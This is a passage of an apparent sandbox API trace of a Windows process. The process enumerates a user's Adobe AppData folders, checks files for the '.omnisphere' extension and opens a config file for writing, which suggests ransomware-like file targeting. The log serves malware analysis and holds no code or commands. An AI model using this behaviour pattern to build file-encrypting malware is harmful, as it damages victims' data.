Player\\AssetCache\\G7ZD37Y5\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16396e8 [0080.902] FindNextFileW (in: hFindFile=0x16396e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.902] FindNextFileW (in: hFindFile=0x16396e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0080.902] FindClose (in: hFindFile=0x16396e8 | out: hFindFile=0x16396e8) returned 1 [0080.902] GetProcessHeap () returned 0x1600000 [0080.902] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165df08 | out: hHeap=0x1600000) returned 1 [0080.902] GetProcessHeap () returned 0x1600000 [0080.902] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e8e0 | out: hHeap=0x1600000) returned 1 [0080.902] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="G7ZD37Y5", cAlternateFileName="")) returned 0 [0080.902] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0080.902] GetProcessHeap () returned 0x1600000 [0080.903] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16590f8 | out: hHeap=0x1600000) returned 1 [0080.903] GetProcessHeap () returned 0x1600000 [0080.903] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x161d0c0 | out: hHeap=0x1600000) returned 1 [0080.903] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache", cAlternateFileName="NATIVE~1")) returned 1 [0080.903] GetProcessHeap () returned 0x1600000 [0080.903] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8c) returned 0x161d0c0 [0080.903] PathCombineW (in: pszDest=0x161d0c0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player", pszFile="NativeCache" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache" [0080.903] GetProcessHeap () returned 0x1600000 [0080.903] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x90) returned 0x16590f8 [0080.903] PathCombineW (in: pszDest=0x16590f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*" [0080.903] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd2, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0080.903] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd2, cFileName="..", cAlternateFileName="")) returned 1 [0080.903] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52e83dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52f2009, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd2, cFileName="NativeCache.directory", cAlternateFileName="NATIVE~1.DIR")) returned 1 [0080.904] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52e83dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52f2009, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd2, cFileName="NativeCache.directory", cAlternateFileName="NATIVE~1.DIR")) returned 0 [0080.904] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0080.904] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0080.904] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.904] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52e83dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52f2009, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache.directory", cAlternateFileName="NATIVE~1.DIR")) returned 1 [0080.904] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52e83dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52f2009, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache.directory", cAlternateFileName="NATIVE~1.DIR")) returned 0 [0080.904] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0080.904] GetProcessHeap () returned 0x1600000 [0080.904] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16590f8 | out: hHeap=0x1600000) returned 1 [0080.904] GetProcessHeap () returned 0x1600000 [0080.904] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x161d0c0 | out: hHeap=0x1600000) returned 1 [0080.904] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache", cAlternateFileName="NATIVE~1")) returned 0 [0080.905] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0080.905] GetProcessHeap () returned 0x1600000 [0080.905] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f980 | out: hHeap=0x1600000) returned 1 [0080.905] GetProcessHeap () returned 0x1600000 [0080.905] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f500 | out: hHeap=0x1600000) returned 1 [0080.905] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1 [0080.905] GetProcessHeap () returned 0x1600000 [0080.905] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x70) returned 0x161d0c0 [0080.905] PathCombineW (in: pszDest=0x161d0c0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", pszFile="Headlights" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights" [0080.905] GetProcessHeap () returned 0x1600000 [0080.905] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f800 [0080.905] PathCombineW (in: pszDest=0x163f800, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights\\*" [0080.905] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName=".", cAlternateFileName="")) returned 0x16396e8 [0080.906] FindNextFileW (in: hFindFile=0x16396e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName="..", cAlternateFileName="")) returned 1 [0080.906] FindNextFileW (in: hFindFile=0x16396e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName="..", cAlternateFileName="")) returned 0 [0080.906] FindClose (in: hFindFile=0x16396e8 | out: hFindFile=0x16396e8) returned 1 [0080.906] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639628 [0080.906] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.906] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0080.906] FindClose (in: hFindFile=0x1639628 | out: hFindFile=0x1639628) returned 1 [0080.906] GetProcessHeap () returned 0x1600000 [0080.907] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f800 | out: hHeap=0x1600000) returned 1 [0080.907] GetProcessHeap () returned 0x1600000 [0080.907] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x161d0c0 | out: hHeap=0x1600000) returned 1 [0080.907] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0080.907] GetProcessHeap () returned 0x1600000 [0080.907] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x72) returned 0x163f980 [0080.907] PathCombineW (in: pszDest=0x163f980, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", pszFile="Linguistics" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics" [0080.907] GetProcessHeap () returned 0x1600000 [0080.907] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x76) returned 0x163f300 [0080.907] PathCombineW (in: pszDest=0x163f300, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics\\*" [0080.907] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0080.908] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName="..", cAlternateFileName="")) returned 1 [0080.908] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName="..", cAlternateFileName="")) returned 0 [0080.908] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0080.908] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0080.908] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.908] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0080.908] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0080.908] GetProcessHeap () returned 0x1600000 [0080.908] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f300 | out: hHeap=0x1600000) returned 1 [0080.908] GetProcessHeap () returned 0x1600000 [0080.908] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f980 | out: hHeap=0x1600000) returned 1 [0080.908] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1 [0080.908] GetProcessHeap () returned 0x1600000 [0080.909] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x76) returned 0x163f800 [0080.909] PathCombineW (in: pszDest=0x163f800, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", pszFile="LogTransport2" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2" [0080.909] GetProcessHeap () returned 0x1600000 [0080.909] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7a) returned 0x16689b0 [0080.909] PathCombineW (in: pszDest=0x16689b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\*" [0080.909] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0080.909] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName="..", cAlternateFileName="")) returned 1 [0080.909] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName="Logs", cAlternateFileName="")) returned 1 [0080.909] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78917ee8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78917ee8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x658d53ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0xdf, cFileName="LogTransport2.cfg", cAlternateFileName="LOGTRA~1.CFG")) returned 1 [0080.909] GetProcessHeap () returned 0x1600000 [0080.909] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9a) returned 0x165ead8 [0080.909] PathCombineW (in: pszDest=0x165ead8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", pszFile="LogTransport2.cfg" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg" [0080.909] StrStrW (lpFirst=".omnisphere", lpSrch=".cfg") returned 0x0 [0080.909] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\logtransport2\\logtransport2.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0080.911] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0dcc8 | out: lpFileSize=0x3e0dcc8*=216) returned 1 [0080.911] GetTickCount () returned 0x11546f8 [0080.911] GetTickCount () returned 0x11546f8 [0080.911] GetTickCount () returned 0x11546f8 [0080.911] GetTickCount () returned 0x11546f8 [0080.911] GetTickCount () returned 0x11546f8 [0080.911] GetTickCount () returned 0x11546f8 [0080.911] GetTickCount () returned 0x11546f8 [0080.911] GetTickCount () returned 0x11546f8 [0080.911] GetTickCount () returned 0x11546f8 [0080.911] GetTickCount () returned 